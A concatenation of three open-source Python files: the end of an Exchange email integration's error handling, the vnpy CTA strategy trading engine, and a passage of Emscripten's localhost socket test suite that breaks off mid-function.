case if (isinstance(e, ErrorMailboxStoreUnavailable) or isinstance(e, ErrorMailboxMoveInProgress)) \ and 'outlook.office365.com' in EWS_SERVER: log_message = "Office365 is undergoing load balancing operations. " \ "As a result, the service is temporarily unavailable." if demisto.command() == 'fetch-incidents': demisto.info(log_message) demisto.incidents([]) sys.exit(0) if IS_TEST_MODULE: demisto.results(log_message + " Please retry the instance configuration test.") sys.exit(0) error_message_simple = log_message + " Please retry your request." # Other exception handling if isinstance(e.message, Exception): e.message = str(e.message) if isinstance(e, ConnectionError): error_message_simple = "Could not connect to the server.\n" \ "Verify that the Hostname or IP address is correct.\n\n" \ "Additional information: {}".format(e.message) if isinstance(e, ErrorInvalidPropertyRequest): error_message_simple = "Verify that the Exchange version is correct." elif exchangelib.__version__ == "1.12.0": from exchangelib.errors import MalformedResponseError if IS_TEST_MODULE and isinstance(e, MalformedResponseError): error_message_simple = "Got invalid response from the server.\n" \ "Verify that the Hostname or IP address is is correct." # Legacy error handling if "Status code: 401" in debug_log: error_message_simple = "Got unauthorized from the server. " \ "Check credentials are correct and authentication method are supported. " error_message_simple += "You can try using 'domain\\username' as username for authentication. " \ if AUTH_METHOD_STR.lower() == 'ntlm' else '' if "Status code: 503" in debug_log: error_message_simple = "Got timeout from the server. " \ "Probably the server is not reachable with the current settings. " \ "Check proxy parameter. If you are using server URL - change to server IP address. " if not error_message_simple: error_message = error_message_simple = str(e.message) else: error_message = error_message_simple + "\n" + str(e.message) stacktrace = traceback.format_exc() if stacktrace: error_message += "\nFull stacktrace:\n" + stacktrace if debug_log: error_message += "\nFull debug log:\n" + debug_log if demisto.command() == 'fetch-incidents': raise if demisto.command() == 'ews-search-mailbox' and isinstance(e, ValueError): return_error(message="Selected invalid field, please specify valid field name.", error=e) if IS_TEST_MODULE: demisto.results(error_message_simple) else: demisto.results( {"Type": entryTypes["error"], "ContentsFormat": formats["text"], "Contents": error_message_simple}) demisto.error("%s: %s" % (e.__class__.__name__, error_message)) finally: exchangelib_cleanup() if log_stream: try: logging.getLogger().removeHandler(log_handler) # type: ignore log_stream.close() except Exception as ex: demisto.error("EWS: unexpected exception when trying to remove log handler: {}".format(ex)) def process_main(): """setup stdin to fd=0 so we can read from the server""" sys.stdin = os.fdopen(0, "r") sub_main() def main(): # When running big queries, like 'ews-search-mailbox' the memory might not freed by the garbage # collector. `separate_process` flag will run the integration on a separate process that will prevent # memory leakage. separate_process = demisto.params().get("separate_process", False) demisto.debug("Running as separate_process: {}".format(separate_process)) if separate_process: try: p = Process(target=process_main) p.start() p.join() except Exception as ex: demisto.error("Failed starting Process: {}".format(ex)) else: sub_main() # python2 uses __builtin__ python3 uses builtins if __name__ in ("__builtin__", "builtins"): main()
engine.py
"""""" import importlib import os import traceback from collections import defaultdict from pathlib import Path from typing import Any, Callable from datetime import datetime, timedelta from threading import Thread from queue import Queue from copy import copy from vnpy.event import Event, EventEngine from vnpy.trader.engine import BaseEngine, MainEngine from vnpy.trader.object import ( OrderRequest, SubscribeRequest, LogData, TickData, BarData, ContractData ) from vnpy.trader.event import ( EVENT_TICK, EVENT_ORDER, EVENT_TRADE, EVENT_POSITION ) from vnpy.trader.constant import ( Direction, OrderType, Interval, Exchange, Offset, Status ) from vnpy.trader.utility import load_json, save_json from vnpy.trader.database import DbTickData, DbBarData from vnpy.trader.setting import SETTINGS from .base import ( EVENT_CTA_LOG, EVENT_CTA_STRATEGY, EVENT_CTA_STOPORDER, EngineType, StopOrder, StopOrderStatus, STOPORDER_PREFIX ) from .template import CtaTemplate from .converter import OffsetConverter STOP_STATUS_MAP = { Status.SUBMITTING: StopOrderStatus.WAITING, Status.NOTTRADED: StopOrderStatus.WAITING, Status.PARTTRADED: StopOrderStatus.TRIGGERED, Status.ALLTRADED: StopOrderStatus.TRIGGERED, Status.CANCELLED: StopOrderStatus.CANCELLED, Status.REJECTED: StopOrderStatus.CANCELLED } class CtaEngine(BaseEngine): """""" engine_type = EngineType.LIVE # live trading engine setting_filename = "cta_strategy_setting.json" data_filename = "cta_strategy_data.json" def __init__(self, main_engine: MainEngine, event_engine: EventEngine): """""" super(CtaEngine, self).__init__( main_engine, event_engine, "CtaStrategy") self.strategy_setting = {} # strategy_name: dict self.strategy_data = {} # strategy_name: dict self.classes = {} # class_name: stategy_class self.strategies = {} # strategy_name: strategy self.symbol_strategy_map = defaultdict( list) # vt_symbol: strategy list self.orderid_strategy_map = {} # vt_orderid: strategy self.strategy_orderid_map = defaultdict( set) # strategy_name: orderid list self.stop_order_count = 0 # for generating stop_orderid self.stop_orders = {} # stop_orderid: stop_order self.init_thread = None self.init_queue = Queue() self.rq_client = None self.rq_symbols = set() self.offset_converter = OffsetConverter(self.main_engine) def init_engine(self): """ """ self.init_rqdata() self.load_strategy_class() self.load_strategy_setting() self.load_strategy_data() self.register_event() self.write_log("CTA策略引擎初始化成功") def close(self): """""" pass def register_event(self): """""" self.event_engine.register(EVENT_TICK, self.process_tick_event) self.event_engine.register(EVENT_ORDER, self.process_order_event) self.event_engine.register(EVENT_TRADE, self.process_trade_event) self.event_engine.register(EVENT_POSITION, self.process_position_event) def init_rqdata(self): """ Init RQData client. """ username = SETTINGS["rqdata.username"] password = SETTINGS["rqdata.password"] if not username or not password: return import rqdatac self.rq_client = rqdatac self.rq_client.init(username, password, ('rqdatad-pro.ricequant.com', 16011)) try: df = self.rq_client.all_instruments( type='Future', date=datetime.now()) for ix, row in df.iterrows(): self.rq_symbols.add(row['order_book_id']) except RuntimeError: pass self.write_log("RQData数据接口初始化成功") def query_bar_from_rq( self, vt_symbol: str, interval: Interval, start: datetime, end: datetime ): """ Query bar data from RQData. """ symbol, exchange_str = vt_symbol.split(".") rq_symbol = to_rq_symbol(vt_symbol) if rq_symbol not in self.rq_symbols: return None end += timedelta(1) # For querying night trading period data df = self.rq_client.get_price( rq_symbol, frequency=interval.value, fields=["open", "high", "low", "close", "volume"], start_date=start, end_date=end ) data = [] for ix, row in df.iterrows(): bar = BarData( symbol=symbol, exchange=Exchange(exchange_str), interval=interval, datetime=row.name.to_pydatetime(), open_price=row["open"], high_price=row["high"], low_price=row["low"], close_price=row["close"], volume=row["volume"], gateway_name="RQ" ) data.append(bar) return data def process_tick_event(self, event: Event): """""" tick = event.data strategies = self.symbol_strategy_map[tick.vt_symbol] if not strategies: return self.check_stop_order(tick) for strategy in strategies: if strategy.inited: self.call_strategy_func(strategy, strategy.on_tick, tick) def process_order_event(self, event: Event): """""" order = event.data self.offset_converter.update_order(order) strategy = self.orderid_strategy_map.get(order.vt_orderid, None) if not strategy: return # Remove vt_orderid if order is no longer active. vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if order.vt_orderid in vt_orderids and not order.is_active(): vt_orderids.remove(order.vt_orderid) # For server stop order, call strategy on_stop_order function if order.type == OrderType.STOP: so = StopOrder( vt_symbol=order.vt_symbol, direction=order.direction, offset=order.offset, price=order.price, volume=order.volume, stop_orderid=order.vt_orderid, strategy_name=strategy.strategy_name, status=STOP_STATUS_MAP[order.status], vt_orderid=order.vt_orderid, ) self.call_strategy_func(strategy, strategy.on_stop_order, so) # Call strategy on_order function self.call_strategy_func(strategy, strategy.on_order, order) def process_trade_event(self, event: Event): """""" trade = event.data self.offset_converter.update_trade(trade) strategy = self.orderid_strategy_map.get(trade.vt_orderid, None) if not strategy: return if trade.direction == Direction.LONG: strategy.pos += trade.volume else: strategy.pos -= trade.volume self.call_strategy_func(strategy, strategy.on_trade, trade) self.put_strategy_event(strategy) def process_position_event(self, event: Event): """""" position = event.data self.offset_converter.update_position(position) def check_stop_order(self, tick: TickData): """""" for stop_order in list(self.stop_orders.values()): if stop_order.vt_symbol != tick.vt_symbol: continue long_triggered = ( stop_order.direction == Direction.LONG and tick.last_price >= stop_order.price ) short_triggered = ( stop_order.direction == Direction.SHORT and tick.last_price <= stop_order.price ) if long_triggered or short_triggered: strategy = self.strategies[stop_order.strategy_name] # To get excuted immediately after stop order is # triggered, use limit price if available, otherwise # use ask_price_5 or bid_price_5 if stop_order.direction == Direction.LONG: if tick.limit_up: price = tick.limit_up else: price = tick.ask_price_5 else: if tick.limit_down: price = tick.limit_down else: price = tick.bid_price_5 contract = self.main_engine.get_contract(stop_order.vt_symbol) vt_orderids = self.send_limit_order( strategy, contract, stop_order.direction, stop_order.offset, price, stop_order.volume, stop_order.lock ) # Update stop order status if placed successfully if vt_orderids: # Remove from relation map. self.stop_orders.pop(stop_order.stop_orderid) strategy_vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if stop_order.stop_orderid in strategy_vt_orderids: strategy_vt_orderids.remove(stop_order.stop_orderid) # Change stop order status to cancelled and update to strategy. stop_order.status = StopOrderStatus.TRIGGERED stop_order.vt_orderids = vt_orderids self.call_strategy_func( strategy, strategy.on_stop_order, stop_order ) self.put_stop_order_event(stop_order) def send_server_order( self, strategy: CtaTemplate, contract: ContractData, direction: Direction, offset: Offset, price: float, volume: float, type: OrderType, lock: bool ): """ Send a new order to server. """ # Create request and send order. original_req = OrderRequest( symbol=contract.symbol, exchange=contract.exchange, direction=direction, offset=offset, type=type, price=price, volume=volume, ) # Convert with offset converter req_list = self.offset_converter.convert_order_request(original_req, lock) # Send Orders vt_orderids = [] for req in req_list: vt_orderid = self.main_engine.send_order( req, contract.gateway_name) vt_orderids.append(vt_orderid) self.offset_converter.update_order_request(req, vt_orderid) # Save relationship between orderid and strategy. self.orderid_strategy_map[vt_orderid] = strategy self.strategy_orderid_map[strategy.strategy_name].add(vt_orderid) return vt_orderids def send_limit_order( self, strategy: CtaTemplate, contract: ContractData, direction: Direction, offset: Offset, price: float, volume: float, lock: bool ): """ Send a limit order to server. """ return self.send_server_order( strategy, contract, direction, offset, price, volume, OrderType.LIMIT, lock ) def send_server_stop_order( self, strategy: CtaTemplate, contract: ContractData, direction: Direction, offset: Offset, price: float, volume: float, lock: bool ): """ Send a stop order to server. Should only be used if stop order supported on the trading server. """ return self.send_server_order( strategy, contract, direction, offset, price, volume, OrderType.STOP, lock ) def send_local_stop_order( self, strategy: CtaTemplate, direction: Direction, offset: Offset, price: float, volume: float, lock: bool ): """ Create a new local stop order. """ self.stop_order_count += 1 stop_orderid = f"{STOPORDER_PREFIX}.{self.stop_order_count}" stop_order = StopOrder( vt_symbol=strategy.vt_symbol, direction=direction, offset=offset, price=price, volume=volume, stop_orderid=stop_orderid, strategy_name=strategy.strategy_name, lock=lock ) self.stop_orders[stop_orderid] = stop_order vt_orderids = self.strategy_orderid_map[strategy.strategy_name] vt_orderids.add(stop_orderid) self.call_strategy_func(strategy, strategy.on_stop_order, stop_order) self.put_stop_order_event(stop_order) return stop_orderid def cancel_server_order(self, strategy: CtaTemplate, vt_orderid: str): """ Cancel existing order by vt_orderid. """ order = self.main_engine.get_order(vt_orderid) if not order: self.write_log(f"撤单失败,找不到委托{vt_orderid}", strategy) return req = order.create_cancel_request() self.main_engine.cancel_order(req, order.gateway_name) def cancel_local_stop_order(self, strategy: CtaTemplate, stop_orderid: str): """ Cancel a local stop order. """ stop_order = self.stop_orders.get(stop_orderid, None) if not stop_order: return strategy = self.strategies[stop_order.strategy_name] # Remove from relation map. self.stop_orders.pop(stop_orderid) vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if stop_orderid in vt_orderids: vt_orderids.remove(stop_orderid) # Change stop order status to cancelled and update to strategy. stop_order.status = StopOrderStatus.CANCELLED self.call_strategy_func(strategy, strategy.on_stop_order, stop_order) self.put_stop_order_event(stop_order) def send_order( self, strategy: CtaTemplate, direction: Direction, offset: Offset, price: float, volume: float, stop: bool, lock: bool ): """ """ contract = self.main_engine.get_contract(strategy.vt_symbol) if not contract: self.write_log(f"委托失败,找不到合约:{strategy.vt_symbol}", strategy) return "" if stop: if contract.stop_supported: return self.send_server_stop_order(strategy, contract, direction, offset, price, volume, lock) else: return self.send_local_stop_order(strategy, direction, offset, price, volume, lock) else: return self.send_limit_order(strategy, contract, direction, offset, price, volume, lock) def cancel_order(self, strategy: CtaTemplate, vt_orderid: str): """ """ if vt_orderid.startswith(STOPORDER_PREFIX): self.cancel_local_stop_order(strategy, vt_orderid) else: self.cancel_server_order(strategy, vt_orderid) def cancel_all(self, strategy: CtaTemplate): """ Cancel all active orders of a strategy. """ vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if not vt_orderids: return for vt_orderid in copy(vt_orderids): self.cancel_order(strategy, vt_orderid) def get_engine_type(self): """""" return self.engine_type def load_bar( self, vt_symbol: str, days: int, interval: Interval, callback: Callable ): """""" end = datetime.now() start = end - timedelta(days) # Query data from RQData by default, if not found, load from database. data = self.query_bar_from_rq(vt_symbol, interval, start, end) if not data: s = ( DbBarData.select() .where( (DbBarData.vt_symbol == vt_symbol) & (DbBarData.interval == interval) & (DbBarData.datetime >= start) & (DbBarData.datetime <= end) ) .order_by(DbBarData.datetime) ) data = [db_bar.to_bar() for db_bar in s] for bar in data: callback(bar) def load_tick(self, vt_symbol: str, days: int, callback: Callable): """""" end = datetime.now() start = end - timedelta(days) s = ( DbTickData.select() .where( (DbBarData.vt_symbol == vt_symbol) & (DbBarData.datetime >= start) & (DbBarData.datetime <= end) ) .order_by(DbBarData.datetime) ) for tick in s: callback(tick) def call_strategy_func( self, strategy: CtaTemplate, func: Callable, params: Any = None ): """ Call function of a strategy and catch any exception raised. """ try: if params: func(params) else: func() except Exception: strategy.trading = False strategy.inited = False msg = f"触发异常已停止\n{traceback.format_exc()}" self.write_log(msg, strategy) def add_strategy( self, class_name: str, strategy_name: str, vt_symbol: str, setting: dict ): """ Add a new strategy. """ if strategy_name in self.strategies: self.write_log(f"创建策略失败,存在重名{strategy_name}") return strategy_class = self.classes[class_name] strategy = strategy_class(self, strategy_name, vt_symbol, setting) self.strategies[strategy_name] = strategy # Add vt_symbol to strategy map. strategies = self.symbol_strategy_map[vt_symbol] strategies.append(strategy) # Update to setting file. self.update_strategy_setting(strategy_name, setting) self.put_strategy_event(strategy) def init_strategy(self, strategy_name: str): """ Init a strategy. """ self.init_queue.put(strategy_name) if not self.init_thread: self.init_thread = Thread(target=self._init_strategy) self.init_thread.start() def _init_strategy(self): """ Init strategies in queue. """ while not self.init_queue.empty(): strategy_name = self.init_queue.get() strategy = self.strategies[strategy_name] if strategy.inited: self.write_log(f"{strategy_name}已经完成初始化,禁止重复操作") continue self.write_log(f"{strategy_name}开始执行初始化") # Call on_init function of strategy self.call_strategy_func(strategy, strategy.on_init) # Restore strategy data(variables) data = self.strategy_data.get(strategy_name, None) if data: for name in strategy.variables: value = data.get(name, None) if value: setattr(strategy, name, value) # Subscribe market data contract = self.main_engine.get_contract(strategy.vt_symbol) if contract: req = SubscribeRequest( symbol=contract.symbol, exchange=contract.exchange) self.main_engine.subscribe(req, contract.gateway_name) else: self.write_log(f"行情订阅失败,找不到合约{strategy.vt_symbol}", strategy) # Put event to update init completed status. strategy.inited = True self.put_strategy_event(strategy) self.write_log(f"{strategy_name}初始化完成") self.init_thread = None def start_strategy(self, strategy_name: str): """ Start a strategy. """ strategy = self.strategies[strategy_name] if not strategy.inited: self.write_log(f"策略{strategy.strategy_name}启动失败,请先初始化") return if strategy.trading: self.write_log(f"{strategy_name}已经启动,请勿重复操作") return self.call_strategy_func(strategy, strategy.on_start) strategy.trading = True self.put_strategy_event(strategy) def stop_strategy(self, strategy_name: str): """ Stop a strategy. """ strategy = self.strategies[strategy_name] if not strategy.trading: return # Call on_stop function of the strategy self.call_strategy_func(strategy, strategy.on_stop) # Change trading status of strategy to False strategy.trading = False # Cancel all orders of the strategy self.cancel_all(strategy) # Update GUI self.put_strategy_event(strategy) def edit_strategy(self, strategy_name: str, setting: dict): """ Edit parameters of a strategy. """ strategy = self.strategies[strategy_name] strategy.update_setting(setting) self.update_strategy_setting(strategy_name, setting) self.put_strategy_event(strategy) def remove_strategy(self, strategy_name: str): """ Remove a strategy. """ strategy = self.strategies[strategy_name] if strategy.trading: self.write_log(f"策略{strategy.strategy_name}移除失败,请先停止") return # Remove setting self.remove_strategy_setting(strategy_name) # Remove from symbol strategy map strategies = self.symbol_strategy_map[strategy.vt_symbol] strategies.remove(strategy) # Remove from active orderid map if strategy_name in self.strategy_orderid_map: vt_orderids = self.strategy_orderid_map.pop(strategy_name) # Remove vt_orderid strategy map for vt_orderid in vt_orderids: if vt_orderid in self.orderid_strategy_map: self.orderid_strategy_map.pop(vt_orderid) # Remove from strategies self.strategies.pop(strategy_name) return True def load_strategy_class(self): """ Load strategy class from source code. """ path1 = Path(__file__).parent.joinpath("strategies") self.load_strategy_class_from_folder( path1, "vnpy.app.cta_strategy.strategies") path2 = Path.cwd().joinpath("strategies") self.load_strategy_class_from_folder(path2, "strategies") def load_strategy_class_from_folder(self, path: Path, module_name: str = ""): """ Load strategy class from certain folder. """ for dirpath, dirnames, filenames in os.walk(path): for filename in filenames: if filename.endswith(".py"): strategy_module_name = ".".join( [module_name, filename.replace(".py", "")]) self.load_strategy_class_from_module(strategy_module_name) def load_strategy_class_from_module(self, module_name: str): """ Load strategy class from module file. """ try: module = importlib.import_module(module_name) for name in dir(module): value = getattr(module, name) if (isinstance(value, type) and issubclass(value, CtaTemplate) and value is not CtaTemplate): self.classes[value.__name__] = value except: # noqa msg = f"策略文件{module_name}加载失败,触发异常:\n{traceback.format_exc()}" self.write_log(msg) def load_strategy_data(self): """ Load strategy data from json file. """ self.strategy_data = load_json(self.data_filename) def sync_strategy_data(self, strategy: CtaTemplate): """ Sync strategy data into json file. """ data = strategy.get_variables() data.pop("inited") # Strategy status (inited, trading) should not be synced. data.pop("trading") self.strategy_data[strategy.strategy_name] = data save_json(self.data_filename, self.strategy_data) def get_all_strategy_class_names(self): """ Return names of strategy classes loaded. """ return list(self.classes.keys()) def get_strategy_class_parameters(self, class_name: str): """ Get default parameters of a strategy class. """ strategy_class = self.classes[class_name] parameters = {} for name in strategy_class.parameters: parameters[name] = getattr(strategy_class, name) return parameters def get_strategy_parameters(self, strategy_name): """ Get parameters of a strategy. """ strategy = self.strategies[strategy_name] return strategy.get_parameters() def init_all_strategies(self): """ """ for strategy_name in self.strategies.keys(): self.init_strategy(strategy_name) def start_all_strategies(self): """ """ for strategy_name in self.strategies.keys(): self.start_strategy(strategy_name) def stop_all_strategies(self): """ """ for strategy_name in self.strategies.keys(): self.stop_strategy(strategy_name) def load_strategy_setting(self): """ Load setting file. """ self.strategy_setting = load_json(self.setting_filename) for strategy_name, strategy_config in self.strategy_setting.items(): self.add_strategy( strategy_config["class_name"], strategy_name, strategy_config["vt_symbol"], strategy_config["setting"] ) def update_strategy_setting(self, strategy_name: str, setting: dict): """ Update setting file. """ strategy = self.strategies[strategy_name] self.strategy_setting[strategy_name] = { "class_name": strategy.__class__.__name__, "vt_symbol": strategy.vt_symbol, "setting": setting, } save_json(self.setting_filename, self.strategy_setting) def remove_strategy_setting(self, strategy_name: str): """ Update setting file. """ if strategy_name not in self.strategy_setting: return self.strategy_setting.pop(strategy_name) save_json(self.setting_filename, self.strategy_setting) def put_stop_order_event(self, stop_order: StopOrder): """ Put an event to update stop order status. """ event = Event(EVENT_CTA_STOPORDER, stop_order) self.event_engine.put(event) def put_strategy_event(self, strategy: CtaTemplate): """ Put an event to update strategy status. """ data = strategy.get_data() event = Event(EVENT_CTA_STRATEGY, data) self.event_engine.put(event) def write_log(self, msg: str, strategy: CtaTemplate = None): """ Create cta engine log event. """ if strategy: msg = f"{strategy.strategy_name}: {msg}" log = LogData(msg=msg, gateway_name="CtaStrategy") event = Event(type=EVENT_CTA_LOG, data=log) self.event_engine.put(event) def send_email(self, msg: str, strategy: CtaTemplate = None): """ Send email to default receiver. """ if strategy: subject = f"{strategy.strategy_name}" else: subject = "CTA策略引擎" self.main_engine.send_email(subject, msg) def to_rq_symbol(vt_symbol: str): """ CZCE product of RQData has symbol like "TA1905" while vt symbol is "TA905.CZCE" so need to add "1" in symbol. """ symbol, exchange_str = vt_symbol.split(".") if exchange_str != "CZCE": return symbol.upper() for count, word in enumerate(symbol): if word.isdigit(): break product = symbol[:count] year = symbol[count] month = symbol[count + 1:] if year == "9": year = "1" + year else: year = "2" + year rq_symbol = f"{product}{year}{month}".upper() return rq_symbol
test_sockets.py
# Copyright 2013 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # found in the LICENSE file. import multiprocessing import os import socket import shutil import sys import time from subprocess import Popen if __name__ == '__main__': raise Exception('do not run this file directly; do something like: tests/runner sockets') import clang_native import common from common import BrowserCore, no_windows, create_file, test_file, read_file from common import parameterized, requires_native_clang from tools import shared, config, utils from tools.shared import PYTHON, EMCC, path_from_root, run_process, CLANG_CC npm_checked = False def clean_processes(processes): for p in processes: if getattr(p, 'exitcode', None) is None and getattr(p, 'returncode', None) is None: # ask nicely (to try and catch the children) try: p.terminate() # SIGTERM except OSError: pass time.sleep(1) # send a forcible kill immediately afterwards. If the process did not die before, this should clean it. try: p.terminate() # SIGKILL except OSError: pass class WebsockifyServerHarness(): def __init__(self, filename, args, listen_port, do_server_check=True): self.processes = [] self.filename = filename self.listen_port = listen_port self.target_port = listen_port - 1 self.args = args or [] self.do_server_check = do_server_check def __enter__(self): # compile the server # NOTE empty filename support is a hack to support # the current test_enet if self.filename: cmd = [CLANG_CC, test_file(self.filename), '-o', 'server', '-DSOCKK=%d' % self.target_port] + clang_native.get_clang_native_args() + self.args print(cmd) run_process(cmd, env=clang_native.get_clang_native_env()) process = Popen([os.path.abspath('server')]) self.processes.append(process) import websockify # start the websocket proxy print('running websockify on %d, forward to tcp %d' % (self.listen_port, self.target_port), file=sys.stderr) wsp = websockify.WebSocketProxy(verbose=True, listen_port=self.listen_port, target_host="127.0.0.1", target_port=self.target_port, run_once=True) self.websockify = multiprocessing.Process(target=wsp.start_server) self.websockify.start() self.processes.append(self.websockify) # Make sure both the actual server and the websocket proxy are running for i in range(10): try: if self.do_server_check: server_sock = socket.create_connection(('localhost', self.target_port), timeout=1) server_sock.close() proxy_sock = socket.create_connection(('localhost', self.listen_port), timeout=1) proxy_sock.close() break except IOError: time.sleep(1) else: clean_processes(self.processes) raise Exception('[Websockify failed to start up in a timely manner]') print('[Websockify on process %s]' % str(self.processes[-2:])) return self def __exit__(self, *args, **kwargs): # try to kill the websockify proxy gracefully if self.websockify.is_alive(): self.websockify.terminate() self.websockify.join() # clean up any processes we started clean_processes(self.processes) class CompiledServerHarness(): def __init__(self, filename, args, listen_port): self.processes = [] self.filename = filename self.listen_port = listen_port self.args = args or [] def __enter__(self): # assuming this is only used for WebSocket tests at the moment, validate that # the ws module is installed global npm_checked if not npm_checked: child = run_process(config.NODE_JS + ['-e', 'require("ws");'], check=False) assert child.returncode == 0, '"ws" node module not found. you may need to run npm install' npm_checked = True # compile the server proc = run_process([EMCC, '-Werror', test_file(self.filename), '-o', 'server.js', '-DSOCKK=%d' % self.listen_port] + self.args) print('Socket server build: out:', proc.stdout or '', '/ err:', proc.stderr or '') process = Popen(config.NODE_JS + ['server.js']) self.processes.append(process) return self def __exit__(self, *args, **kwargs): # clean up any processes we started clean_processes(self.processes) # always run these tests last # make sure to use different ports in each one because it takes a while for the processes to be cleaned up # Executes a native executable server process class BackgroundServerProcess(): def __init__(self, args): self.processes = [] self.args = args def __enter__(self): print('Running background server: ' + str(self.args)) process = Popen(self.args) self.processes.append(process) return self def __exit__(self, *args, **kwargs): clean_processes(self.processes) def NodeJsWebSocketEchoServerProcess(): return BackgroundServerProcess(config.NODE_JS + [test_file('websocket/nodejs_websocket_echo_server.js')]) def PythonTcpEchoServerProcess(port): return BackgroundServerProcess([PYTHON, test_file('websocket/tcp_echo_server.py'), port]) class sockets(BrowserCore): emcc_args = [] @classmethod def setUpClass(cls): super().setUpClass() print() print('Running the socket tests. Make sure the browser allows popups from localhost.') print() # Use emscripten root for node module lookup. This is needed because the unit tests each # run with CWD set to a temporary directory outside the emscripten tree. print('Setting NODE_PATH=' + path_from_root('node_modules')) os.environ['NODE_PATH'] = path_from_root('node_modules') # Note: in the WebsockifyServerHarness and CompiledServerHarness tests below, explicitly use # consecutive server listen ports, because server teardown might not occur deterministically # (python dtor time) and is a bit racy. # WebsockifyServerHarness uses two port numbers, x and x-1, so increment it by two. # CompiledServerHarness only uses one. Start with 49160 & 49159 as the first server port # addresses. If adding new tests, increment the used port addresses below. @parameterized({ 'websockify': [WebsockifyServerHarness, 49160, ['-DTEST_DGRAM=0']], 'tcp': [CompiledServerHarness, 49161, ['-DTEST_DGRAM=0']], 'udp': [CompiledServerHarness, 49162, ['-DTEST_DGRAM=1']], # The following forces non-NULL addr and addlen parameters for the accept call 'accept_addr': [CompiledServerHarness, 49163, ['-DTEST_DGRAM=0', '-DTEST_ACCEPT_ADDR=1']], }) def test_sockets_echo(self, harness_class, port, args): if harness_class == WebsockifyServerHarness and common.EMTEST_LACKS_NATIVE_CLANG: self.skipTest('requires native clang') with harness_class(test_file('sockets/test_sockets_echo_server.c'), args, port) as harness: self.btest_exit(test_file('sockets/test_sockets_echo_client.c'), args=['-DSOCKK=%d' % harness.listen_port] + args) def test_sockets_echo_pthreads(self): with CompiledServerHarness(test_file('sockets/test_sockets_echo_server.c'), [], 49161) as harness: self.btest_exit(test_file('sockets/test_sockets_echo_client.c'), args=['-sUSE_PTHREADS', '-sPROXY_TO_PTHREAD', '-DSOCKK=%d' % harness.listen_port]) def test_sdl2_sockets_echo(self): with CompiledServerHarness('sdl2_net_server.c', ['-sUSE_SDL=2', '-sUSE_SDL_NET=2'], 49164) as harness: self.btest_exit('sdl2_net_client.c', args=['-sUSE_SDL=2', '-sUSE_SDL_NET=2', '-DSOCKK=%d' % harness.listen_port]) @parameterized({ 'websockify': [WebsockifyServerHarness, 49166, ['-DTEST_DGRAM=0']], 'tcp': [CompiledServerHarness, 49167, ['-DTEST_DGRAM=0']], 'udp': [CompiledServerHarness, 49168, ['-DTEST_DGRAM=1']], # The following forces non-NULL addr and addlen parameters for the accept call 'accept_addr': [CompiledServerHarness, 49169, ['-DTEST_DGRAM=0', '-DTEST_ACCEPT_ADDR=1']], }) def test_sockets_async_echo(self, harness_class, port, args): if harness_class == WebsockifyServerHarness and common.EMTEST_LACKS_NATIVE_CLANG: self.skipTest('requires native clang') args.append('-DTEST_ASYNC=1') with harness_class(test_file('sockets/test_sockets_echo_server.c'), args, port) as harness: self.btest_exit(test_file('sockets/test_sockets_echo_client.c'), args=['-DSOCKK=%d' % harness.listen_port] + args) def test_sockets_async_bad_port(self): # Deliberately attempt a connection on a port that will fail to test the error callback and # getsockopt self.btest_exit(test_file('sockets/test_sockets_echo_client.c'), args=['-DSOCKK=49169', '-DTEST_ASYNC=1']) @parameterized({ 'websockify': [WebsockifyServerHarness, 49171, ['-DTEST_DGRAM=0']], 'tcp': [CompiledServerHarness, 49172, ['-DTEST_DGRAM=0']], 'udp': [CompiledServerHarness, 49173, ['-DTEST_DGRAM=1']], }) def test_sockets_echo_bigdata(self, harness_class, port, args): if harness_class == WebsockifyServerHarness and common.EMTEST_LACKS_NATIVE_CLANG: self.skipTest('requires native clang') sockets_include = '-I' + test_file('sockets') # generate a large string literal to use as our message message = '' for i in range(256 * 256 * 2): message += str(chr(ord('a') + (i % 26))) # re-write the client test with this literal (it's too big to pass via command line) src = read_file(test_file('sockets/test_sockets_echo_client.c')) create_file('test_sockets_echo_bigdata.c', src.replace('#define MESSAGE "pingtothepong"', '#define MESSAGE "%s"' % message)) with harness_class(test_file('sockets/test_sockets_echo_server.c'), args, port) as harness: self.btest_exit('test_sockets_echo_bigdata.c', args=[sockets_include, '-DSOCKK=%d' % harness.listen_port] + args) @no_windows('This test is Unix-specific.') def test_sockets_partial(self): for harness in [ WebsockifyServerHarness(test_file('sockets/test_sockets_partial_server.c'), [], 49180), CompiledServerHarness(test_file('sockets/test_sockets_partial_server.c'), [], 49181) ]: with harness: self.btest_exit(test_file('sockets/test_sockets_partial_client.c'), assert_returncode=165, args=['-DSOCKK=%d' % harness.listen_port]) @no_windows('This test is Unix-specific.') def test_sockets_select_server_down(self): for harness in [ WebsockifyServerHarness(test_file('sockets/test_sockets_select_server_down_server.c'), [], 49190, do_server_check=False), CompiledServerHarness(test_file('sockets/test_sockets_select_server_down_server.c'), [], 49191) ]: with harness: self.btest_exit(test_file('sockets/test_sockets_select_server_down_client.c'), args=['-DSOCKK=%d' % harness.listen_port]) @no_windows('This test is Unix-specific.') def test_sockets_select_server_closes_connection_rw(self): for harness in [ WebsockifyServerHarness(test_file('sockets/test_sockets_echo_server.c'), ['-DCLOSE_CLIENT_AFTER_ECHO'], 49200), CompiledServerHarness(test_file('sockets/test_sockets_echo_server.c'), ['-DCLOSE_CLIENT_AFTER_ECHO'], 49201) ]: with harness: self.btest_exit(test_file('sockets/test_sockets_select_server_closes_connection_client_rw.c'), args=['-DSOCKK=%d' % harness.listen_port]) @no_windows('This test uses Unix-specific build architecture.') def test_enet(self): # this is also a good test of raw usage of emconfigure and emmake shared.try_delete('enet') shutil.copytree(test_file('third_party', 'enet'), 'enet') with utils.chdir('enet'): self.run_process([path_from_root('emconfigure'), './configure', '--disable-shared']) self.run_process([path_from_root('emmake'), 'make']) enet = [self.in_dir('enet', '.libs', 'libenet.a'), '-I' + self.in_dir('enet', 'include')] with CompiledServerHarness(test_file('sockets/test_enet_server.c'), enet, 49210) as harness: self.btest_exit(test_file('sockets/test_enet_client.c'), args=enet + ['-DSOCKK=%d' % harness.listen_port]) @parameterized({ 'native': [WebsockifyServerHarness, 59160, ['-DTEST_DGRAM=0']], 'tcp': [CompiledServerHarness, 59162, ['-DTEST_DGRAM=0']], 'udp': [CompiledServerHarness, 59164, ['-DTEST_DGRAM=1']], }) def test_nodejs_sockets_echo(self, harness_class, port, 